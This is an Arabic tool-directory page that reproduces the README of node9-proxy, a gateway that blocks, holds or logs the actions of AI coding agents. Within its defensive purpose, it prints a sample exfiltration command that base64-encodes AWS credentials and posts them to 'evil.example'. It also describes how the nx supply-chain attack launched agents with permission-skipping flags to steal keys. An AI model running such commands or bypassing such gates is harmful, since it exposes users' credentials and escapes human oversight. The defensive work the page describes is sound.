Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
node9-proxy — التحكم في الوصول لوكلاء الذكاء الاصطناعي. حدّد ما يُسمح لـ Claude Code وCodex وGemini وCursor وأي خادم MCP بالقيام به، وراجع الإجراءات المحفوفة بالمخاطر قبل تنفيذها، واحتفظ بسجل لكل إجراء. | Kitploit
أدوات/GitHubGitHub/node9-ai/node9-proxy
ماسحات الثغرات الأمنيةأمن الحاوياتأمن السحابةDevSecOpsالقيادة والسيطرةكشف الأسراراستخبارات التهديداتأمن سلسلة التوريدالاستجابة للحوادثأمن الذكاء الاصطناعي
GitHubnode9-ai/node9-proxy
2101861منذ يوم واحدتمت المراجعة من قبل Kitploit

node9-proxy

التحكم في الوصول لوكلاء الذكاء الاصطناعي. حدّد ما يُسمح لـ Claude Code وCodex وGemini وCursor وأي خادم MCP بالقيام به، وراجع الإجراءات المحفوفة بالمخاطر قبل تنفيذها، واحتفظ بسجل لكل إجراء.

عرض المستودعالموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
<h1 align="center">🛡️ node9</h1>
<p align="center">التحكم في الوصول لوكلاء الذكاء الاصطناعي</p>
<p align="center"><strong>يمكن لوكلاء الذكاء الاصطناعي لديك الوصول إلى Slack وGitHub والبريد الإلكتروني وقاعدة بياناتك.<br />يقرر node9 ما يُسمح لهم بفعله مع كل واحد منها.</strong></p>
<p align="center">
  <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a>
  <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a>
  <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a>
  <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a>
  <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a>
  <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a>
  <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&amp;labelColor=%231A1A2E&amp;logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a>
  <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a>
</p>

**سجن بيانات الاعتماد** · **الأسرار والبيانات الشخصية** · **أوامر git وSQL وshell المدمّرة محتجزة للمراجعة** ·
**تثبيت أدوات MCP** · **قائمة السماح للخروج الشبكي** · **كاسر الحلقات** · **سجل واحد عبر اثني عشر وكيلاً**

يعمل مع **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · أي خادم MCP**.

## كيف يبدو الأمر

جلسة Claude Code حقيقية مع تثبيت node9. يتم فحص كل استدعاء أداة
قبل تنفيذه. بناء صفحة وتحرير زر يمرّان. طلب إلى عنوان
بيانات وصفية سحابية يُحظر، ويحصل الوكيل على السبب ويواصل.
حذف الملفات ينتظر موافقتك، مباشرة في المحادثة.

<p align="center">
  <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="node9 in a Claude Code session: two calls allowed, one blocked, one held for approval" />
</p>

## التثبيت

```bash
brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform
```

ثم، في أي مشروع:

```bash
node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard
```

يتطلب Node.js 22+.

في طرفية تفاعلية جديدة، يرشدك `node9` خلال الإعداد. الحماية المحلية
لا تحتاج إلى حساب. تُظهر قائمة التحقق الدروع الموصى بها، وDLP/PII، ومراجعة
الخروج الشبكي الاختيارية، والخدمة في الخلفية. تُرسل إحصاءات الاستخدام
فقط إذا قبلت المطالبة المنفصلة. يسرد الملخص الوكلاء المُهيّئين
وأي خطوات إعداد تحتاج إلى انتباه.

شغّل `node9 setup` لإعادة زيارة الإعداد، أو `node9 setup <target>` لتهيئة وكيل واحد.
بمجرد التهيئة، يعرض `node9` المجرّد المساعدة. يبقى `node9 init` متاحاً؛
للنصوص البرمجية استخدم `node9 init --recommended` (بدون أسئلة وبدون اشتراك في القياس عن بُعد).
يترك `--skip-setup` ربط الوكيل وتثبيت الخدمة دون تغيير. `--mode` الصريح
له الأولوية على توصية الوضع القياسي في قائمة التحقق.
تُحفظ الإعدادات الموجودة ما لم تطلب تغييرات محددة أو أعلام صريحة
تحديثاً. تُدار سياسة مساحة العمل في لوحة التحكم؛ وتبقى إعدادات الخدمة محلية.

**`login` لا يضيف شيئاً إلى الإنفاذ.** إنه يربط الجهاز بمساحة عمل حتى
يتمكن الفريق من رؤية سجل واحد عبر حواسيب الجميع وCI، وضبط السياسة مركزياً،
والموافقة على الإجراءات المحتجزة من لوحة تحكم أو Slack. تخطَّه ويعمل node9 بنفس
الطريقة تماماً، بمفرده، دون اتصال. `node9 logout` يفصل الاتصال مجدداً ويستمر الإنفاذ المحلي
في العمل.

### الاستخدام كخادم MCP

يعمل node9 أيضاً كخادم MCP، حتى يتمكن الوكيل من قراءة حالته ووضعه وسجل
التدقيق والسياسة، وشرح أي قرار، من داخل المحادثة:

```bash
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
```

أي عميل MCP يعمل بالطريقة نفسها: الأمر هو `npx -y node9-ai mcp-server`
عبر stdio، بدون مفتاح API. إنه مُدرج في سجل MCP الرسمي باسم
`io.github.node9-ai/node9`.

## المشكلة

في أغسطس 2025، شحنت إصدارات مخترقة من
[أداة البناء `nx`](https://github.com/advisories/GHSA-cxm3-wv7p-598c) نصاً برمجياً بعد التثبيت
يبحث عن وكلاء البرمجة بالذكاء الاصطناعي المثبّتين بالفعل على جهاز المطوّر، ثم شغّلهم
مع إيقاف أعلام الأمان الخاصة بهم (`--dangerously-skip-permissions`، `--yolo`،
`--trust-all-tools`) لسرد مفاتيح SSH وبيانات الاعتماد السحابية وملفات المحافظ وكتابة القائمة
على القرص. دفعت النصوص البرمجية النتائج إلى مستودعات عامة داخل حسابات GitHub
الخاصة بالضحايا. تسرّبت أكثر من ألف رمز GitHub صالح، إلى جانب بيانات اعتماد سحابية ورموز npm
ونحو 20,000 ملف، من أجهزة كان الوكيل فيها يفعل بالضبط ما أُمر به.

لم يكن الوكيل هو المهاجم. كان الوكيل هو الأداة، ولم يقف شيء بينه وبين
الملفات. بوابة node9 ليست أحد تلك الأعلام: إنها تعمل في الـ hook، والإجراء الذي تحتجزه يبقى
محتجزاً حتى عندما بدأ الوكيل مع تخطي الأذونات.

## ما يفعله node9 حيال ذلك

يجلس node9 بين الوكيل وكل أداة يستدعيها. سجن بيانات الاعتماد (`~/.ssh`، `~/.aws`،
ملفات `.env`، المفاتيح الخاصة) مُفعّل افتراضياً، وقراءة أحد تلك المسارات لا تُنفّذ.
يتوقف الوكيل، ويُخبر بالسبب، ويصل القرار إليك:

```text
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
```

يُحلَّل الأمر كشجرة AST للـ shell، لا كمطابقة نصية، لذا لا يساعد تغليف القراءة.
يُحكم على `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` كقراءة
لـ `~/.aws/credentials`، لا كـ `echo`.

node9 هو **بوابة**. الإجراء المحتجز لا يُنفّذ أثناء انتظاره لك، وإذا لم تُجب أبداً
يبقى محظوراً. كل ما عدا ذلك مسموح ويُكتب في السجل.

**ما لا يفعله:** مع إيقاف التحكم في الخروج الشبكي، وهو الافتراضي، لا يُعامل الأمر الذي يسلّم
ملفاً مباشرة إلى الشبكة، مثل `curl -d @~/.aws/credentials`، كقراءة لذلك الملف.
`node9 egress protect` يبوّب الوجهات أيضاً، وهو يغطي أوامر shell فقط.

## تحقق بنفسك

لا شيء أدناه يحتاج إلى حساب، ولا شيء يرفع بيانات.

```bash
npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
```

<p align="center">
  node9 scan scorecard
</p>

## ما الذي يحكمه

كل سطر هو قدرة واحدة، مع الصفحة التي توثّقها. الوثائق هي
المرجع؛ هذا الملف هو الخريطة.

|                             |                                                                                                                                                |                                                  |
| --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ |
| **سجن بيانات الاعتماد**         | `~/.ssh` و`~/.aws` و`.env` والمفاتيح الخاصة محظورة من كل أداة، وليس من الـ shell فقط                                                    | [docs](https://node9.ai/docs/shields)            |
| **قواعد دائمة التشغيل**         | أوامر git المدمّرة، وSQL بدون `WHERE`، و`curl \| bash`، و`sudo` غير المصرّح به، بدون أي إعداد                                                 | [docs](https://node9.ai/docs/smart-rules)        |
| **الأسرار والبيانات الشخصية**         | مفاتيح AWS، ورموز GitHub وStripe، ومفاتيح PEM، وأنماط البطاقات أو أرقام الضمان الاجتماعي، في أي وسيط أداة، بالإضافة إلى فحص خلفي لما كتبه الوكيل | [docs](https://node9.ai/docs/dlp)                |
| **دروع لكل خدمة**     | حزم قواعد منسّقة لـ Postgres وMongoDB وRedis وAWS وKubernetes وDocker وGitHub ونظام الملفات                                            | [docs](https://node9.ai/docs/shields)            |
| **المراجعة المضمّنة**           | إجراء محتجز يسألك داخل محادثة الوكيل، أو عبر مُعتمِد فريق                                                               | [docs](https://node9.ai/docs/cloud-policy)       |
| **قائمة السماح للخروج الشبكي**        | تبوّب المكان الذي قد يرسل إليه أمر shell بيانات، معطّل افتراضياً                                                                                       | [docs](https://node9.ai/docs/egress)             |
| **بوابة MCP**             | غلّف أي خادم MCP، وصرّح لكل أداة، وثبّت تعريفات الأدوات حتى لا يستطيع خادم تغييرها من خلف ظهرك                             | [docs](https://node9.ai/docs/mcp-gateway)        |
| **بيئة معزولة**                 | شغّل وكيلاً في حاوية مع قائمة سماح للخروج الشبكي على مستوى النواة وتركيبات محدودة النطاق                                                                   | [docs](https://node9.ai/docs/sandbox)            |
| **درجة الوضع**           | مدى تعرّض هذا الجهاز، مع الأمر الذي يصلح كل اكتشاف                                                                          | [docs](https://node9.ai/docs/posture)            |
| **فحص المستودعات**           | اعثر على سير عمل يمكن لشخص خارجي أن يختطف فيه وكيلاً يحمل أسرارك، في CI أو من CLI                                          | [docs](https://node9.ai/docs/repo-scanning)      |
| **سجل الجلسات**         | اقرأ ما فعله كل وكيل بالفعل على هذا الجهاز، قبل تثبيت node9                                                                  | [docs](https://node9.ai/docs/sessions)           |
| **المراقبة الحية والتقرير** | لوحة تحكم طرفية، وملخص بنوافذ للتكلفة والأدوات والحظر ونطاق التأثير                                                           | [docs](https://node9.ai/docs/report)             |
| **تثبيت المهارات**          | تحقق SHA-256 من مهارات وإضافات Claude المثبّتة بين الجلسات                                                                   | [docs](https://node9.ai/docs/skill-pinning)      |
| **بيانات اعتماد الطُعم**      | مفاتيح مزيفة مزروعة تُثبت حدوث محاولة تسريب                                                                                  | [docs](https://node9.ai/docs/canary-credentials) |
| **Python SDK**              | احكم أي وكيل Python، وليس فقط واجهات CLI                                                                                                     | [docs](https://node9.ai/docs/python-sdk)         |

مرجع CLI والإعداد الكامل: **[node9.ai/docs](https://node9.ai/docs)**.
كيف تتلاءم الطبقات معاً: **[how it works](https://node9.ai/docs/how-it-works)**.

## تعلّم

قراءة خلفية، مكتوبة لتقف بذاتها. توضح كل صفحة ما لا يغطيه node9.

- **[ماذا يمكن لوكيل مختطَف أن يفعل؟](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: نطاق التأثير لجلسة مخترقة واحدة
- **[كيف يسرّب وكيل ذكاء اصطناعي سراً](https://node9.ai/learn/ai-agent-secret-exfiltration)**: المسارات التي يسلكها بيان الاعتماد فعلياً للخروج
- **[أمان Claude Code](https://node9.ai/learn/claude-code-security)**: الـ hooks وأوضاع الأذونات وما لا توقفه
- **[أمان MCP](https://node9.ai/learn/mcp-security)**: سطح الأدوات الذي يفتحه خادم MCP
- **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: القائمة، مربوطة بضوابط حقيقية

## قارن

- **[node9 مقابل البدائل](https://node9.ai/compare)**: مصفوفة، بما في ذلك الصفوف التي يسجّل فيها node9 نتائج أسوأ
- **[التغطية لكل وكيل](https://node9.ai/agents)**: ما يُحكم على كل واحد من الوكلاء الاثني عشر المدعومين

## مشاريع ذات صلة

- **[node9-python](https://github.com/node9-ai/node9-python)**: Python SDK
- **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: إجراء GitHub، `uses: node9-ai/node9-proxy@v2`، يبوّب كل PR بنفس المحرك

## المؤسسات

**node9 Pro** يضيف قفل الحوكمة، وSAML/SSO، وتصدير التدقيق المركزي، ونشر VPC. راجع [node9.ai](https://node9.ai).

## الترخيص

Apache-2.0

<p align="center">
  <sub>بُني بـ ☕ وجنون ارتياب صحي.</sub>
</p>
تنزيل الأداة